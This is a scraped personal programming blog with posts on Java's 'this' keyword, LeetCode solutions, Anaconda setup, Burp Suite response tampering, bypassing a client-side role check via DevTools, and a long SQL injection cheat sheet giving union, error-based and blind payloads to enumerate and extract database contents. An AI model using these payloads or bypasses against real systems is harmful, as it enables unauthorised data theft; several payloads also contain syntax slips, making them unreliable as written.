이 블로그 검색

2023년 7월 24일 월요일

Reasons for Using 'this' Keyword in Java Object Creation

Question

What is the difference between using and not using the 'this' keyword in Java?

Overview

Using and not using the 'this' keyword in Java has differences in preventing variable collisions, method chaining, readability, and clarity.

Reasons

  • Preventing variable collisions: When the parameter name of a method is the same as an instance variable, using 'this' helps differentiate between the instance variable and the parameter.
  • Method chaining: By returning 'this,' it allows consecutive method calls on the same object.
  • Readability and clarity: 'this' provides a clear reference to instance variables or methods, improving code readability and clarity.

Differences

  • When using 'this':
public class MyClass {
    private int value;

    public void setValue(int value) {
        this.value = value; // Using the "this" keyword to refer to the instance variable
    }
}
  • When not using 'this':
public class MyClass {
    private int value;

    public void setValue(int newValue) {
        value = newValue; // Directly referring to the instance variable
    }
}

Example

Preventing variable collisions

Using the 'this' keyword helps prevent variable collisions when the method's parameter name is the same as an instance variable name.

For example, consider the situation where the 'setValue' method has a parameter named 'value' which is the same as the instance variable 'value':

public class MyClass {
    private int value;

    public void setValue(int value) {
        this.value = value; // Using the "this" keyword to refer to the instance variable
    }
}

In this example, this.value refers to the instance variable, and value refers to the method parameter. This avoids variable collisions and correctly assigns the value to the intended variable.

Method chaining

Using 'this' allows implementing method chaining, which means consecutively calling methods on the same object.

public class MyClass {
    private int value;

    public MyClass setValue(int value) {
        this.value = value;
        return this; // Returning the same object to enable method chaining
    }

    public MyClass printValue() {
        System.out.println(value);
        return this;
    }
}
MyClass obj = new MyClass();
obj.setValue(10).printValue(); // Method chaining

In the above example, the 'setValue' method returns 'this', and the 'printValue' method also returns 'this'. This allows method chaining as shown in the code snippet.

Readability and clarity

However, using the 'this' keyword is not always mandatory. If a method does not reference instance variables and only uses parameters, the 'this' keyword can be omitted.

public class MyClass {
    public void printName(String name) {
        System.out.println("Hello, " + name);
    }
}

When not using 'this' to refer to instance variables or methods, it is assumed that those variables or methods belong to the current object. This may introduce some ambiguity in readability and clarity. Therefore, the 'this' keyword should be used when necessary, based on the readability and purpose of the code.

Conclusion

Using the 'this' keyword helps prevent variable collisions, enables method chaining, and improves code readability and clarity. However, it is not always mandatory, and the decision to use 'this' depends on the specific context and requirements.

2023년 7월 22일 토요일

How to Tamper Response in Burp Suite

Response Tampering

There are two methods to tamper with responses using Burp Suite:

  1. Modify the response code after intercepting the response.
  2. Set up proxy settings to intercept specific codes and replace them with different content.

Modifying the response code after intercepting:

  1. Open the browser with proxy intercept enabled.
  2. Navigate to the desired website using the opened browser.
  3. Turn on intercept by clicking "Intercept is off" and changing it to "Intercept is on."
  4. The request will pause until you click "Forward" after intercepting it.
  5. When it's paused, right-click and select "Do intercept-response to this request."
  6. After modifying the response, click "Forward" to see the changes in the Chromium browser.
  7. You can either modify the response and click "Forward" or turn off intercept to proceed.

Setting up proxy rules for response code manipulation:

  1. Go to Proxy > Options > Match and Replace Rules.
  2. Click "Add" to create a new rule.
  3. Select "Response Body" for the type.
  4. Enter <script>location.href='./example.php';</script> in the "Match" field.
  5. Leave the "Replace" field empty, as we want to remove the code <script>location.href='./example.php';</script>.
  6. Click "OK" to add the rule, and it will be applied to all future responses' body parts that contain the specified code.

How to Make Requests with Chrome Developer Tools

How to Make Requests

  1. Open the developer tools on the web page (for Chrome, press F12).
  2. Go to the console.
  3. Enter the JavaScript function, for example: goMenu('1018','admin');.
  4. Press Enter to execute the function.

Example

JavaScript Code

function user_auth_check(needLevel, userLevel){

	if(needLevel == userLevel){
		return true;
	}else{
		return false;
	}
}

function goMenu(code, userLevel){
	switch (code){
		case '1018':
			if(user_auth_check('admin',userLevel)){
				location.href="./fire_nuclear_Attack.php";
				break;
			}else{
				alert('You do not have permission.');
				break;
			}
		case '1129':
			location.href="./logout.php";
			break;
		default:
			alert('This menu does not exist.');
	}
}

Webpage Button Code

<a class="btn btn-lg btn-danger" href="#" role="button" onclick="goMenu('1018','')">Fire</a>

LeetCode 116. Populating Next Right Pointers in Each Node Java Solution

Problem

Populating Next Right Pointers in Each Node - LeetCode

Approach

  • Given a basic tree, the task is to connect its nodes.
  • Essentially, we need an algorithm to traverse the tree in level order and connect each node accordingly.
    • The problem assumes a perfect binary tree, meaning there are no empty nodes.
    • At level 1, connect all nodes at level 2.
    • Set the level's leftmost node as levelStart.
    • Connect the next node with its sibling (since the upper level is already connected, moving is easy).
    • If the next node's left child does not exist, it means the current level is fully connected.
  • BFS (level order) or recursive function can be used.
  • Recursive functions are often used when they can simplify complex tasks. However, this problem only requires a simple level order traversal without the need for previous calculated values, making recursion unnecessary.
  • Moreover, if the tree is large, there is a possibility of a stack overflow, so it's better to avoid recursion.

Github Link

https://github.com/eunhanlee/LeetCode_116_PopulatingNextRightPointersinEachNode_Solution.git

Time Complexity: O(n), Space Complexity: O(1)

class Solution {
    /**
     * Connects each node of the given binary tree with its right pointer.
     *
     * @param root The root node of the binary tree
     * @return The root node of the connected binary tree
     */
    public Node connect(Node root) {
        if (root == null)
            return null;

        // The leftmost node of the level
        Node levelStart = root;

        while (levelStart.left != null) {
            // Current node
            Node curr = levelStart;

            while (curr != null) {
                // Set the left child's next pointer to the right child
                curr.left.next = curr.right;
                // Set the right child's next pointer to the left child of the next node
                if (curr.next != null) curr.right.next = curr.next.left;
                // Move to the next node in the same level
                curr = curr.next;
            }

            // Move to the leftmost node of the next level
            levelStart = levelStart.left;
        }

        return root;
    }
}

2023년 7월 21일 금요일

LeetCode 2114. Maximum Number of Words Found in Sentences Java Problem Solving

 

Problem

Maximum Number of Words Found in Sentences - LeetCode

Solution Approach

  • This problem is about counting the number of words in a sentence and finding the maximum count among all sentences.

  • You should be familiar with loops, counting words, and finding the maximum value to solve this problem.

  • Algorithm:

    • Use a loop to iterate through each sentence.

    • Calculate the number of words in each sentence.

    • Compare the word counts to find the maximum value.

  • There are several ways to achieve this, such as different types of loops (for loop, while loop, advanced for loop), word counting methods (using split to split the sentence and count the words, or using character arrays to find the number of spaces and adding 1), and finding the maximum value (using if statements for comparison, using the ternary operator ? for comparison, or using Math.max).

  • The provided code uses an advanced for loop, split method to count words, and Math.max for comparison to solve the problem.

Github Link

https://github.com/eunhanlee/LeetCode_2114_MaximumNumberofWordsFoundinSentences_Solution

Time Complexity: O(nm), Space Complexity: O(1)

public class Solution {
    /**
     * Finds the maximum number of words in the given array of sentences.
     *
     * @param sentences An array of strings representing sentences.
     * @return The maximum number of words found in any sentence.
     */
    public int mostWordsFound(String[] sentences) {
        int max = 0;

        for (String sentence : sentences) {
            max = Math.max(max, sentence.split(" ").length);
        }

        return max;
    }
}

Setting up Anaconda and PyCharm virtual environments: Step-by-step guide

 

Definition

Anaconda is a package for Python and R languages, providing a convenient conditional free open-source package manager that manages dependencies and distributions.

Since 2020, it has become free only for individual users, universities, non-profit organizations, and small businesses with less than 200 employees. It is now a paid service for government and companies with 200 or more employees.

Reasons to Use Virtual Environments

The reason for using Anaconda is to manage the libraries and versions of Python. By setting up and naming virtual environments, you can easily keep track of the versions and libraries stored in each environment. This makes it convenient to move environments to different locations or reinstall them when needed.

Setting up Anaconda Virtual Environments

Anaconda Installation

  1. Download Anaconda from https://www.anaconda.com/ and install it.
  2. It is recommended to use the default installation path.
  3. If you choose a different installation path, additional configurations may be required based on the IDE you use.
  4. The default path is usually C:\Users\[your computer account name]\anaconda3.

Configuration in PyCharm

When creating a new project in PyCharm, you can create a new virtual environment.

Installing Libraries in PyCharm

Sometimes, the default terminal in PyCharm is PowerShell. In such cases, you need to activate the virtual environment and then install libraries.

To activate the virtual environment:

conda activate (virtual environment name)

Controlling Virtual Environments with Anaconda Console

Opening Anaconda Prompt

Start menu - Anaconda Prompt

Finding Possible Python Versions

conda search python

Creating a Virtual Environment

conda create -n (virtual environment name) python=(desired version)

After that, a list of packages to be installed will be displayed. Type 'y' to proceed with the installation.

Activating the Virtual Environment

If the activation is successful, you will see the virtual environment name instead of (base) in the terminal.

From: (base)current/path>

To: (virtual environment name)current/path>

conda activate (virtual environment name)

Deactivating the Virtual Environment

conda deactivate

Listing Virtual Environments

conda env list

2023년 5월 10일 수요일

Web Hacking: SQL injection

Definition

SQL injection is a technique where malicious SQL queries are inserted to attack a database system, allowing for data extraction, tampering, authentication bypass, and more.

Pre-Attack Checklist

SQL Injection Data Extraction Process

  • Deduction

    • Does the system perform identification and authentication together or separately?

    • What type of attack method is likely to work?

    • How will the query likely end? If it's a search query, '%search term%' is highly likely to be used.

  • Vulnerability Check

    • If a vulnerability is found, how far does it go?

    • If SQL injection is possible, is it a union-based, error-based, or blind attack?

  • Select SQL Query

    • Union SQL injection

    • Error-based SQL injection

    • Blind SQL injection

  • Identify Data Output Locations

  • Choose SQL Injection to Use

  • Obtain DB, Table, and Column Names

  • Extract Data

Types of SQL Injection

Union-Based SQL Injection

  • Used when results are displayed on the screen, such as on a bulletin board.

  • ex) general forum, bulletin board

  1. Deduce the end of the search query.

    3+4 
    # If only 7 is returned in the search, the SQL query will work. Additionally, you can determine whether the % sign was used depending on whether only 7 is returned or if 7 is included in the results.
  2. Check if SQL injection is possible.

    %' and '1%'='1 # true
    %' and '1%'='2 # false
  3. Determine how many columns are used in the search.

    Increase the column count from 1 to 4 and check.

    %' order by 1 and '1%'='1
  4. Check if union works and identify the data output location.

    %' union select '1','2','3','4' and '1%'='1
  5. Check the database name.

    MySQL

    %' union select '1',database(),'3','4' and '1%'='1
  6. Check the table name.

    MySQL

    %' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1
  7. Check column names.

    MySQL

    %' union select '1',column_name,'3','4' from information_schema.columns where table_name='table_name' and '1%'='1
  8. Extract data.

    %' union select '1',column_name,'3','4' from table_naem WHERE '1%' LIKE '1

Error-Based SQL Injection

  • Used when error messages can be checked.

  • Logical Error

  1. Verify that the error message is a DB error.

    Typically uses updatexml or extractvalue.

    A syntax error (logical error) is displayed due to the concat command ':test'.

    1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
    1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1
  2. Set the base for the error message.

    1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1
  3. Check the database name.

    MySQL

    select database()
    1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
  4. Check the table name.

    MySQL

    select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1
    1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1
  5. Check column names.

    limit [starting point],[how many]

    select column_name from information_schema.columns where table_name='table_name' limit 0,1
    1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1
  6. Extract data.

    select column_name from table_name limit 0,1
    1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1

Blind SQL Injection

  • Used in places where DB results are not displayed on the screen.

  • Anywhere with a response that differs depending on a true or false condition can be used.

  1. Check if SQL injection is possible 1.-expected success

    %' and (1=1) and '1%'='1
  2. Check if SQL injection is possible 2.-expected fail

    %' and (1=2) and '1%'='1
  3. Check if the SQL injection select statement works.

    %' and (select 'test'='test') and '1%'='1
  4. Create an attack format.

    %' and (sql) and '1%'='1
  5. Check if ascii works.

    ascii('t')>0
    %' and (ascii('t')>0) and '1%'='1
  6. Check if substring works.

    ascii(substring('test',1,1))>0
    %' and (ascii(substring('test'),1,1)>0) and '1%'='1
    1. Create a second attack format.

    %' and (ascii(substring((sql),1,1))>0) and '1%'='1
    1. Retrieve the DB.

    select database()
    %' and (ascii(substring(select database()),1,1)>0) and '1%'='1
    1. Retrieve the table name.

    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 # retrieves only the first table name in the DB.
    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 # retrieves only the second table name in the DB.
    %' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1
    1. Retrieve the column name.

    SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1
    %' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1),1,1)>0) and '1%'='1
    1. Extract data.

    select from limit 0,1
    %' and (ascii(substring(sql),1,1)>0) and '1%'='1

Logic Gate Truth Tables & Definitions

Logic Gate Truth Tables Java Code !A // NOT A&B // AND ~(A&B) // NAND A|B // OR ~(A|B) // XOR A^B // XOR ~(A^B) // XNOR ~A // Inve...